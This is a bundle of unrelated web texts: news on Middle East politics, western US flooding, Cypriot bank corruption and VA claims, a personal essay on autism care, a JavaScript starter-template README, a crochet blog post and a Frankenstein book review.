"What you have done is no less significant than the historic steadfastness the Islamic Resistance achieved in 2006 and the resistance in Gaza in 2008," he said, referring to the Israeli military assault on Gaza.
Nasrallah also lashed out at the US for what he termed "backing the worst dictatorships" in the Middle East.
"The United States is trying to contain the revolution and improve its own ugly image in the Middle East and Islamic world ... after years of backing the worst dictatorships our region has ever seen," Nasrallah said.
"But be sure that regimes allied with the United States and Israel cannot stand long against the will of the people."
On Friday, Ayatollah Ali Khamenei, Iran's supreme leader, termed the uprisings in Egypt and Tunisia an "Islamic liberation movement", in a statement that was criticised both by Egyptian government officials and many protesters in the country.
Binyamin Netanyahu, the Israeli prime minister, said on January 31 that his country was following events in Egypt with "vigiliance and worry".
In remarks made on Monday, he warned that his country's peace treaties with others were not permanent, and could be cancelled, hinting that a change of government in Cairo could affect existing agreements between Israel and Egypt. |
00:32 Landslide Destroys Home in California A landslide in San Rafael, California destroyed a home.
At a Glance Oroville Dam's spillway had to be shut down after water created a massive hole in the side of the spillway.
Two deaths have been reported, including a crew member working to clear a mudslide in California.
A family was rescued from a flash flood in Idaho.
On Friday, California Gov. Jerry Brown asked President Trump to declare a major disaster for California.
Flooding from heavy rain and rapid snowmelt this week has led to mudslides, water rescues and has contributed to at least three deaths in the western United States.
An 81-year-old man was rescued Friday by a CalGuard’s Company C/2-135 MEDEVAC helicopter unit.
The unit helped Rodger McMurtry of Taylorsville, California, after he was swept from his car into the rushing waters of Indian Creek , about 100 miles north of Truckee, California, reports KFBK.
"I applaud the crew’s quick and decisive actions which resulted in the saving of a life," said Major General David Baldwin, the Adjutant General for the Cal Guard. "Our partnership with city and county agencies will always ensure our communities are safe."
Emergency workers rescued an Idaho family trapped by a flash flood Friday as they tried to move their livestock to safety.
Steve Domby, the emergency services coordinator for Washington County in southwestern Idaho, told the Associated Press several adults and two young children were trapped on top of a car outside a home in Weiser when floodwaters and large floating chunks of ice overtook the property in a flash flood.
Meanwhile, parts of Nevada and California continue to battle heavy rain and rapid snowmelt in the Sierra Nevada, which has led to at least two deaths attributed to widespread flooding that triggered numerous mudslides and road washouts.
In Sacramento County, a freight train reportedly derailed Friday afternoon after flooding collapsed part of a rail bridge, according to a report from the National Weather Service. It was not immediately known if there were any injuries, but more than a dozen rail cars carrying food products derailed.
(MORE: La Niña Is Gone, but El Niño Could Return )
In Oroville, California, water continued to open up a massive hole in the spillway of the nation's tallest dam and for the first time in its 48-year history, the Oroville Reservoir is completely full and flowing over its emergency spillway.
In the past 48 hours, the California Department of Water Resources significantly increased releases from Lake Oroville even though the spillway is expected to further erode.
The breach in the spillway poses no threat to the public but is expected to grow before engineers can make the necessary repairs, according to the Sacramento Bee.
(MORE: Water Flows Over Oroville Dam's Emergency Spillway For First Time In Its 48-Year History )
In northern California, a road crew worker was killed Thursday while working to clear debris from a slide on Highway 17, according to the AP. A dump truck ran over the 54-year-old man and his co-worker, 33-year-old Stephen Whitmier, who was injured. The identity of the man has not been released.
California Highway Patrol officer Trista Drake says the men were behind the truck when it began backing up. Whitmier was conscious and talking to paramedics while trapped under the wheel of the truck.
A man in his 20s was killed when his car plunged into a flooded creek near Bakersfield in central California. When authorities arrived, they were able to rescue a female passenger who was clinging to tree branches; however, the man was trapped in the car when it submerged upside down, the AP reported.
Idaho
Parts of the state dealt with flooding after a rapid increase in temperatures began melting historic levels of accumulated snow left behind after an unusual series of winter snowstorms, according to the AP.
Waters began to recede Saturday after an ice jam that was blocking the Weiser River near the Idaho-Oregon border began to break up, reports the Associated Press.
"Once this ice gets through, that should put an end to the threat," said Steve Penner, spokesman for Washington County's disaster services department.
Two people remained trapped inside their homes Friday afternoon in Weiser, where flash flooding led to multiple water rescues.
A 68-year-old man who initially refused to be rescued was later rescued from his flooded home was subsequently rescued after an Idaho National Guard Blackhawk helicopter was sent to assess damage and fly over the house of the man. The man was taken to the Weiser hospital.
Idaho Gov. C.L. "Butch" Otter and Oregon Gov. Kate Brown flew over the area Friday afternoon.
"We saw a lot of devastation," Otter said after the tour, speaking to reporters in Payette.
The St. Joe River in northern Idaho was also blocked by an ice jam on Friday, forcing the water to nearly 3½ feet above flood levels and swamping roads in the small village of Calder. The National Weather Service warned residents in the towns of St. Joe and St. Maries to expect flooding downstream once the ice jam breaks.
Josh Roth, 35, of Alpine, Wyoming, was killed died when he was caught in an avalanche while snowmobiling in eastern Idaho on Thursday, Sgt. Bryan Lovell with the Bonneville County Sheriff's office told the AP. A friend snowmobiling with Roth survived.
In Twin Falls County, a car was swept away by violent floodwaters in Twin Falls County after the driver went past a police barricade.
Dozens of roads have been swept away by the rushing water in the area, but no deaths or serious injuries have been reported.
Nevada
Nevada Gov. Brian Sandoval declared a state of emergency Friday for Elko County in response to flooding in the area.
“We have recently witnessed the devastation of flooding and experienced the benefit of preparation and early response. The State will continue to assist and make all resources available to communities experiencing flooding throughout the weekend,” said Sandoval. “The Division of Emergency Management will coordinate requests from our local partners and dispatch resources to all affected communities.”
Meanwhile, the Nevada Department of Transportation said a mudslide has halted all westbound trucks on I-80 Friday at the state line west of Reno. Passenger vehicles were being allowed to pass, reports the Associated Press.
A second mudslide closed the Kingsbury Grade from the Carson Valley to Tahoe Friday morning, and the Mount Rose Highway from Reno to Tahoe closed as well.
The Twentyone Mile Dam failed in Elko County, Nevada, on Wednesday, releasing fast-moving water that forced trains to reroute and shut down a 65-mile stretch of U.S. Highway 93 from Wells north to the Idaho line. The roadway was washed out and shut down a day after the dam broke near Montello.
Elko County Sheriff Jim Pitts said county commissioners approved a state of emergency Thursday as deputies searched for anyone who might be stranded by the floodwaters. No injuries were reported, but authorities said there appeared to be extensive damage to several ranches and farms.
Nevada Department of Transportation spokeswoman Meg Ragonese said there was no way of knowing how long State Route 223 would be shut down.
"An entire section of the road washed out," she told the AP.
Central California
In light of recent flooding and multiple mudslides, Gov. Jerry Brown asked President Trump to declare a major disaster for California Friday, reports the Associated Press.
Brown told the president that the storm system was so severe and widespread that state and local governments need federal assistance to continue dealing with the problems associated with the deluge.
Meanwhile, a section of I-80 was closed Friday after a mudslide covered the highway in both directions the Donner exchange.
Flooding along Sonoma County's Russian River prompted residents to stack sandbags and retreat to the second floor of buildings Thursday.
Not an uncommon occurrence, Lynn Crescione, owner of Creekside Inn & Resort in Guerneville, told the AP many in the community had long since raised their buildings on stilts for days like Thursday.
"We've been here 35 years, and we've risen most of our buildings over time. When it rains we just go upstairs," Crescione said.
In Marin County, Maggie Bridges grabbed her 4-year-old son and climbed barefoot out of the bathroom window to escape their Fairfax home as a rain-soaked hillside gave way on Wednesday.
"The mudslide came down and broke our front door in half," Bridges husband, Zach Laurie, told KPIX .
A Los Gatos woman turned to Facebook Live to seek help after a mudslide took out three homes on her family's property, Fox2 reported.
Jennifer Ray said no one was injured but the homes are now uninhabitable.
“All of this water and mud came down and trees and it was just this force of nothing that I’ve never seen before,” Ray told the news station.
A driver drove his van into a 100-foot gap in Skyland Road near the Santa Cruz mountain summit Tuesday night after heavy rains washed out the road. The driver told KSBW that the road was fine when he left his home to buy candles. By the time he returned home, the road was gone.
A mudslide Tuesday morning destroyed the family home of John Futscher, 51, in San Rafael.
Futscher told the San Francisco Chronicle that his father built the home in 1959, and he watched as the mud slowly tore the house in two .
“The windows were shaking, and they popped out,” Futscher said. “Then, there was finally another big slide where it just came down and pushed the house forward and sheared the house.”
Neighbor Nick Curcio told the newspaper "the whole hillside was just coming down into this guy’s house. And it kept going and going.”
After Friday, the West will dry out for several days before another potentially wet pattern arrives mid-to-late February. |
By Elias Hazou
Police are investigating another case of possible corruption where a senior cadre of a cooperative bank was re-hired as a consultant by the same company just a day after retiring with a generous bonus.
The criminal probe is the result of an investigation by auditor-general Odysseas Michaelides, who has been looking into mismanagement in the co-operative banking sector.
Michaelides reported his findings to the attorney-general in late October, daily Phileleftheros reports.
The man under investigation took early retirement from the bank in 2011, after 24 years of service. He collected a handsome €500,000 tax-free payout.
On the very next day of his resignation, he was hired as a consultant by the same bank, receiving a salary and benefits amounting to €120,000 per annum.
What’s more, the position he vacated at the bank was then given to his son.
After the financial meltdown of 2013, the man left his position as consultant, getting another €70,000 payout.
His son resigned from the bank in 2015.
The auditor-general discovered that the position in question at the co-operative bank had been a family affair for the past 50 years or so, passing from the grandfather, to the son (the man now under investigation) and latterly to the grandson.
Meanwhile authorities are investigating dozens of cases where loans worth hundreds of millions of euro were granted by co-operatives to friends, associates and relatives, on favourable terms and without the required collateral.
One case involves former co-op boss Erotokritos Chlorakiotis, who allegedly received loans worth €10.9m from the Strovolos co-op which he did not repay.
In 2014 and 2015 the Cooperative Central Bank, the island’s second largest lender, received almost €1.67bn in taxpayer money to plug its capital shortfall.
As a condition for the bailout, 93 separate credit institutions were merged into a single entity.
Now known as the Cyprus Cooperative Bank, the lender recently reported non-performing loans of €6.7bn on its books, down from €7.2bn in December last year. |
If I were an average American today, I might be worrying about the stock market reaching frightening lows. I might be worrying about the wildfires burning all across Northern California where I live. I might be worrying about the fact that I'll soon be without health insurance once more. I might be worrying that my business isn't generating as much revenue as I'd like due to the general state of the economy. I might even be worrying about the perpetual human tragedy that seems to be Africa. But the fact of the matter is that I'm not an average American, because I have a brother with autism, and when you have a brother with autism, your biggest worry, a fear that eclipses all others, that pervades every waking moment, and that never ceases, is probably something like mine: what will happen if the Cleveland Indians lose their next baseball game?
It's important to understand that my brother loves the Cleveland Indians. Granted, a lot of people, most of them in Cleveland, love the Cleveland Indians, but I think it unlikely that most love them as much as my brother. When the Indians win, there is about a fifty percent chance that my brother will go to sleep at night happy. When the Indians lose, the odds are not nearly so good. Then, it's more likely that he'll go to sleep unhappy, which can mean any of the following: screaming outside from our driveway for hours, calling the parents of students he went to middle school with (who he hasn't seen in years) at inappropriate times, waking my parents up at 1:30 A.M. or later, eating six servings worth of sodium-laced frozen food that were intended for some future meal, banging outside with a snow shovel, going on a bike ride in the dead of night, or all of the above. On particularly bad nights, the police will visit our house--sometimes twice. Every now and then, my brother will be arrested at gunpoint.
You might think that based on the above description, my brother, who lives with my parents in the house where I grew up, resides in some sort of ethnic ghetto with under-funded and ill-informed law enforcement officials who have no concept of how to deal with people with mental illness. Nothing could be further from the truth. In fact, my family lives in Shaker Heights, Ohio, a suburban dreamland with nominally good public schools and high taxes that keep city services running smoothly, even while the rest of the Cleveland area seems to be crumbling. Nonetheless, for the reasons above, I've come to think of Shaker Heights as a kind of Hell on Earth.
Anyone with an autistic individual in their own family can relate similar stories. What never ceases to amaze me is how little we care, even at our own expense. For example, there is a reason that our nation's jails are bursting at the seams. (Jails are funded by our taxes.) So many mentally ill people are incarcerated every year, there's hardly any room for those relatively few sane criminals who have actually committed intentional, premeditated crimes. And why shouldn't the mentally ill be thrown in jail? After all, unless you have the millions necessary to build your own private institution, there's nowhere else to put them.
In Hitler's Germany, the Nazis simply executed those they deemed to suffer from mental illness. Today we shirk in horror at the notion of such inhumane cruelty, but our own system is hardly anything to be proud of, and could arguably be deemed even worse, for extending and enhancing the suffering of those who need it least. For in our country, there is no system to speak of. We leave the mentally ill to the care of their parents (if they are even alive) or extended relatives in their own homes, as if these unfortunate individuals and undistinguished residences were somehow once gifted with the ability to provide an excellent standard of care to people with complex and serious diseases. Even the best of the regional mental health boards, run by states, counties and municipalities, are usually staffed by indifferent individuals with no actual expertise in psychology or medicine. (The worst are staffed by those who abuse the people they are supposed to be helping.) There are no federal programs to handle autistic children or adults, save for one: the sprawling "correctional" system.
And so a familiar scene plays itself out every day across America. Parents shoot their children because in more ways than one--through intense stress, sleeplessness, and mental anguish--the children are effectively killing their parents. It's admittedly a distasteful thought, and one that is rarely uttered or written about. Yet it is the sad truth, applying just as frequently to those with money, power, prestige, and it does to those without.
One Washington Post article written only two years ago began this way: "A former Bush administration official, after arguing violently with his wife Thursday night, shot and killed his 12-year-old son inside their McLean home, then turned a shotgun on himself and committed suicide, Fairfax County police said." The son was autistic.
Another New York Times article from November 23, 2006 is equally frank: "A severely autistic boy was found slashed to death in a bathtub in his Bronx apartment yesterday morning after his father called the authorities to report that the boy was dead, the police said. 'I've terminated the life of my autistic child,' the police said the father told officers who responded to the call." There are plenty more.
You might think that Congress would do something about a problem so severe and so obviously federal in nature, but alas, nothing happens. We, the greatest society in the world, the champions of human rights, the ones who believe that "all men are created equal," continue to do nothing. We do worse than nothing. Rather than take care of our sick and needy, we fund corrupt defense contractors to wage meaningless wars abroad.
So I worry. Sometimes about the stock market, but also about my family. Because no one really cares what happens to these people. Not until they themselves find themselves with the short straw in the lottery that is life, and by then, even for those in the highest ranks of government, it's too late. |
Javascript ES6 ready frontend starter template
esixstarter is a simple front-end starter template for building javascript applications using ECMAScript6 features.
TDD-ready environment.
ECMAScript6 support.
CSS & Javascript source map.
Livereload! Browser automatically refresh on changes.
LESS support.
Javascript & CSS minification.
Javascript linting.
CSS Autoprefixer.
Quick Start
Download the zip project here Or clone this git repo: git clone https://github.com/fradot/esixstarter.git
Configure your project
Configure your project using the esixstarter-config.json file:
{ "name": "-your project name-", "description": "-your project description goes here-", "dirs": { "test": "test", "dist": "dist", "src": "src" }, "version": "1.0.0", "author" : "-author fullname-" }
Install dependencies & Start developing
Install project dependencies from command line:
npm install
Run gulp command and start developing:
gulp
By default gulp will start a new web server at http://localhost:8080 and karma for test execution.
Javascript code will be transpiled to EcmaScript5. All js files will be minified and included in dist/js/main.js.
Enable javascript source maps in your browser to easily debug your application.
Build project
Build your project using the build command:
gulp build
The above command will produce a 'dist' folder.
License
The MIT License (MIT)
Copyright (c) 2016 Francesco Tucceri
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. |
I made another baby carriage mobile! It’s for Lemon’s cousin who had a son just a few days ago.
This time I followed a specific theme; Ocean. I’m quite happy with the result.
Balls
Ideal Sphere by Ms Premise-Conclusion
The white and light blue balls are the “10 row” balls, and darker blue is “12 row”. The light blue look slightly larger than the white – and they are, but only because the yarn I used for them was slightly thicker.
Tiny Whale
PlanetJune pattern
Super easy to make, and super cute!
Seahorse
Lonemer seahorse pattern
This one took me a couple of tries, but I’m very happy with the result.
Octopus
This guy was done freehand, because I couldn’t find a pattern I liked. There’s tons of octopus patterns on Ravelry.com, but they’re all too big or too realistic, and that just didn’t work for this project. I initially had him to hanging on the mobile next to the seahorse, but he was just way too heavy. The mobile would hang far too low. So in the end, I decided to just give him as a separate gift. |
Frankenstein, Or, The Modern Prometheus: Annotated for Scientists, Engineers, and Creators of All Kinds by Mary Shelley, edited by David H. Guston, Ed Finn, and Jason Scott Robert MIT Press, 277 pp., $19.95 (paper) The New Annotated Frankenstein by Mary Shelley, edited and with a foreword and notes by Leslie S. Klinger Liveright, 352 pp. $35.00
1.
“And now, once again,” wrote Mary Shelley in her introduction to the 1831 edition of Frankenstein, or the Modern Prometheus, “I bid my hideous progeny go forth and prosper.” It has certainly done so, but in ways, and for reasons, she could never have foreseen. Currently there are more than sixty million Google results for a search of the name “Frankenstein,” more than for Shakespeare’s Macbeth. There have been more than three hundred editions of the original novel; more than 650 comic books and cartoon strips inspired by it; over 150 fictional spin-offs and parodies; at least ninety films, including James Whale’s 1931 classic with Boris Karloff; and something like eighty stage adaptations. It is now frequently required reading in schools, and passing classroom references to “Shelley” may more likely mean Mary than Percy Bysshe (the obscure author of Prometheus Unbound). In the press the term “Frankenstein” is still standard shorthand for science gone wrong, warning of every supposed scientific “menace” from nuclear power to stem cell research and genetic modification. In short, her monster has become a modern myth.
This mythic prosperity, whatever it signifies today, was slow in coming. Mary Shelley’s original three-volume novel was published quietly and anonymously by Lackington and Co., Finsbury Square, London, in March 1818 and to little acclaim. It had already been rejected by Byron’s famous publisher, John Murray. At the time it seemed so utterly strange that its few reviewers thought it must have been written by Mary’s father, the notorious anarchist philosopher William Godwin, or possibly, according to the great romancer Sir Walter Scott in Blackwood’s, by Mary’s husband, the dangerous atheist poet. The Quarterly Review stonily observed: “Our taste and our judgment alike revolt at this kind of writing…. The author leaves us in doubt whether he is not as mad as his hero.”
If they had guessed the author was in reality a young woman, only eighteen when she began her first draft, no doubt the critical chorus of disapproval would have been even more thunderous.
It is astonishing that the book ever got written at all. The nightmare birth of the initial idea, during the celebrated stormy ghost-story competition of June 1816 at the Villa Diodati, on Lake Geneva, between Lord Byron and the two Shelleys, is well attested by Mary herself and also by the contemporary diary of Byron’s volatile medical companion, Dr. William Polidori, an expert on somnambulism. (“A conversation about principles, whether man was to be thought merely an instrument…. Twelve o’clock, really began to talk ghostly…. Stories are begun by all but me.”)
But the actual composition of the first 72,000-word draft lasted some eleven months, until May 1817, during which time Mary’s stepsister, Claire, bore Byron’s illegitimate baby secretly in… |
The scandal that erupted over allegations of data manipulation at the Veterans Affairs Department’s medical facility in Phoenix has now spread to the VA’s disability claims.
At a hearing Monday, House lawmakers questioned whether the laserlike focus by the Veterans Benefits Administration on ending the pension and compensation claims in 2015 has caused the rest of its workload to suffer.
“Whatever win you attempt to take credit for in 2015, you will not be celebrated,” said House Veterans Affairs’ Committee Chairman Jeff Miller during his opening statement at the hearing.
The VA adopted a goal under Eric Shinseki — who stepped down as VA secretary earlier this year — to complete all disability compensation and pension claims within 125 days at 98 percent accuracy.
But those claims make up a minority of the Veterans Benefits Administration’s total pay and pension workload. While the number of pension and compensation claims has gone down, the mountain of other claims — including appeals — is growing.
“Somebody would have to be asleep at the wheel to not realize these things are going on,” said Ronald Robinson, who has worked at the VA in South Carolina for more than a decade.
Robinson was one of three former or current department employees from across the country who told the House Veterans Affairs’ Committee that they were retaliated against for raising concerns that pressure to meet deadlines has led to instances of altering a veteran’s claim information, including when the VA received the claim.
The VA has been embroiled in scandal in recent months because of allegations that staffers within the VA’s health care agency cooked the books on how long veterans waited before they received a medical appointment.
The House Veterans Affairs Committee has held a string of hearings on problems within the VA, and Monday’s witnesses — like those before them — pointed to a lack of leadership.
“The VA’s problems are a result of morally bankrupt managers,” said Kristen Ruell, who works in the Veterans Benefits Administration’s Philadelphia office, adding that she believes she has been retaliated against for raising concerns about how claims are handled in her office.
Their testimony follows a string of reports released Monday from the VA’s Office of Inspector General that suggest that VA workers were making errors in a rush to cut down the number of claims.
One report from the inspector general revealed that a worker in the VA’s Baltimore regional office inappropriately stored 8,000 documents that could impact benefits payments.
Meanwhile, the VA on Monday said it has processed a million claims so far during fiscal 2014, and it expects to bring the total to 1.3 million claims by the end of September. The department has had “tremendous success” toward ending the backlog next year, said Allison Hickey, the undersecretary for benefits, in a statement.
But Ruell said that “if you have a different kind of claim, it might not be included in the definition of the backlog.”
And Linda Halliday, the assistant inspector general for audits and evaluations, said in her prepared testimony that the VA has focused on cutting the backlog to the detriment of its other workloads — some of which are growing “at an alarming rate.”
Halliday said the VA also needs better financial regulations. The VA’s Inspector General’s Office found in an audit of claims where veterans were granted 100 percent disability on a temporary basis that the VA could pay roughly $371 million in unnecessary payments over the next five years due to lack of follow-up evaluations for those veterans.
Halliday also told lawmakers that the Inspector General’s Office is looking into data-integrity issues with VA claims at its offices in Baltimore, Philadelphia, Los Angeles, Oakland, Houston, and Little Rock, Ark. |
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